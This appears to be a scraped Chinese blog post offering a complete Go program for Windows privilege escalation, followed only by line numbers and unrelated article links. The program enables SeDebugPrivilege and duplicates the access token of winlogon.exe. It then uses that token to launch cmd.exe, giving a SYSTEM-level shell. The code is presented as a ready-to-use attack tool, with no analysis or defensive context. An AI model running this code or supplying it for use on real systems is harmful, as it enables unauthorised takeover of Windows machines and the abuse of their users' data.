• golang实现windows提权


    golang实现windows提权

    package main
    
    import (
    	"fmt"
    	"syscall"
    	"unsafe"
    
    	"github.com/shirou/gopsutil/process"
    	"golang.org/x/sys/windows"
    )
    
    const (
    	TOKEN_ALL_ACCESS     = 0x000F01FF
    	SE_PRIVILEGE_ENABLED = 0x00000002
    	TOKEN_DUPLICATE      = 0x00000002
    )
    
    var (
    	modadvapi32             = syscall.NewLazyDLL("advapi32.dll")
    	createProcessWithTokenW = modadvapi32.NewProc("CreateProcessWithTokenW")
    )
    
    func CreateProcessWithTokenW(Token windows.Token,
    	LogonFlags uint32,
    	ApplicationName *uint16,
    	CommandLine *uint16,
    	CreationFlags uint32,
    	Environment **uint16,
    	CurrentDirectory *uint16,
    	StartupInfo *windows.StartupInfo,
    	ProcessInformation *windows.ProcessInformation) bool {
    
    	r0, _, _ := createProcessWithTokenW.Call(
    		uintptr(Token),
    		uintptr(LogonFlags),
    		uintptr(unsafe.Pointer(ApplicationName)),
    		uintptr(unsafe.Pointer(CommandLine)),
    		uintptr(CreationFlags),
    		uintptr(unsafe.Pointer(Environment)),
    		uintptr(unsafe.Pointer(CurrentDirectory)),
    		uintptr(unsafe.Pointer(StartupInfo)),
    		uintptr(unsafe.Pointer(ProcessInformation)))
    
    	return r0 != 0
    }
    
    func SetPrivilege() error {
    	var hToken windows.Token
    	err := windows.OpenProcessToken(windows.CurrentProcess(), TOKEN_ALL_ACCESS, &hToken)
    	if err != nil {
    		return err
    	}
    	defer hToken.Close()
    	var tp windows.Tokenprivileges
    	tp.PrivilegeCount = 1
    	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
    
    	var luid windows.LUID
    	se, _ := syscall.UTF16PtrFromString("SeDebugPrivilege")
    	windows.LookupPrivilegeValue(nil, se, &luid)
    
    	tp.Privileges[0].Luid = luid
    	windows.AdjustTokenPrivileges(hToken, false, &tp, uint32(unsafe.Sizeof(windows.Tokenprivileges{})), nil, nil)
    
    	return nil
    }
    
    func GetProcessIdByName(targetname string, sessionID uint32) uint32 {
    	pids, _ := process.Processes()
    	for _, p := range pids {
    		name, _ := p.Name()
    		if targetname == name {
    			var sesID uint32 = 0
    			windows.ProcessIdToSessionId(uint32(p.Pid), &sesID)
    			if sesID == sessionID {
    				return uint32(p.Pid)
    			}
    		}
    	}
    	return 0
    }
    func main() {
    	err := SetPrivilege()
    	if err != nil {
    		fmt.Println("Error:", err)
    		return
    	}
    	// CMD := "cmd.exe"
    	targetProcess := "winlogon.exe"
    	sessionID := windows.WTSGetActiveConsoleSessionId()
    	if sessionID != 0xffffff {
    		processId := GetProcessIdByName(targetProcess, sessionID)
    		if processId != 0 {
    			targetProcessHandle, _ := windows.OpenProcess(0x400, false, processId)
    			defer windows.CloseHandle(targetProcessHandle)
    			var targetProcessToken windows.Token
    			defer targetProcessToken.Close()
    			err := windows.OpenProcessToken(targetProcessHandle, TOKEN_DUPLICATE, &targetProcessToken)
    			if err != nil {
    				fmt.Println("windows.OpenProcessTok", err)
    				return
    			}
    			var impersonationToken windows.Token
    			defer impersonationToken.Close()
    			err = windows.DuplicateTokenEx(targetProcessToken, TOKEN_ALL_ACCESS, nil, windows.SecurityIdentification, windows.TokenPrimary, &impersonationToken)
    			if err != nil {
    				fmt.Println("DuplicateTokenEx", err)
    				return
    			}
    			var si windows.StartupInfo
    			var pi windows.ProcessInformation
    			si.Cb = uint32(unsafe.Sizeof(si))
    			Desktop, _ := syscall.UTF16PtrFromString("winsta0\\default")
    			si.Desktop = Desktop
    			CMDStr, _ := windows.UTF16PtrFromString("cmd.exe")
    			status := CreateProcessWithTokenW(impersonationToken, 0, CMDStr, nil, windows.CREATE_NEW_CONSOLE, nil, nil, &si, &pi)
    			if !status {
    				err = windows.CreateProcessAsUser(impersonationToken, nil, CMDStr, nil, nil, false, 0, nil, nil, &si, &pi)
    				if err != nil {
    					fmt.Println("CreateProcessAsUser", err)
    					return
    				}
    			}
    		}
    	}
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
  • 相关阅读:
    2022年秋招ASIC&FPGA笔试题汇总
    【分段传输】c#使用IAsyncEnumerable实现流式分段传输
    2-3.基金的估值,费用与会计
    第十六章 文件服务
    黑马Java笔记第七讲—面向对象
    快排图文详解:快速排序算法的实现 - 【双边循环法与单边循环法 & 递归与非递归(栈的方式)的实现】
    怎么修改wp-comments-post 防垃圾(spam)评论?
    C. Robot in a Hallway Educational Codeforces Round 133 (Rated for Div. 2)dp
    文件的上传和下载
    【PAT甲级 - C++题解】1049 Counting Ones
  • 原文地址:https://blog.csdn.net/a1309525802/article/details/137778377